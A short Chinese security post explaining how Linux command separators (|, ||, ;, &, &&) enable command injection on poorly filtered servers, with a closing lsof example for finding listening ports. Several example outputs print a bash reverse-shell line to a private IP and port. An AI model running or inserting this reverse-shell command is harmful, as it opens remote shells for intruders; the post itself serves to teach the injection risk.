Linux多命令顺序执行符号需要记住5个 【|】【||】【 ;】 【&】 【&&】 ,在命令执行里面,如果服务器疏忽大意没做限制,黑客通过高命令拼接符,可以输入很多非法的操作。
ailx10
网络安全优秀回答者
网络安全硕士
去咨询
【|】管道符,前面的输出,作为后面的输入,前面后面出错,语句都会出错
pwd | cat index.html bash -i >& /dev/tcp/192.168.0.101/8888 0>&1【||】前面的执行成功,后面的不会程序,前面的执行失败,后面的会执行
pwd || cat index.html/Users/ailx10【 ;】分号,前后没有任何逻辑关系,不管是否正确,都会一直执行下去
pwd ; cat index.html/Users/ailx10bash -i >& /dev/tcp/192.168.0.101/8888 0>&1【&】前面在后台跑,然后执行后面的程序
pwd & cat index.html[1] 20284/Users/ailx10[1] + done pwdbash -i >& /dev/tcp/192.168.0.101/8888 0>&1【&&】前面的执行成功,才会执行后面的,前面的执行不成功,后面的不会执行
pwd && cat index.html/Users/ailx10bash -i >& /dev/tcp/192.168.0.101/8888 0>&1举个例子,在Mac/Linux 系统中,我不知道哪个端口在对外提供服务,我该如何找到它?那么就可以使用管道符【|】,将左边的查询结果,传递给右边的筛选命令,最后输出我们想要的结果。 这里很轻松的发现我的Mac电脑开启了一个Web服务,端口是7777,并且是Python程序起的服务。
sudo lsof -i -P | grep LISTEN发布于 2023-08-26 11:31・IP 属地美国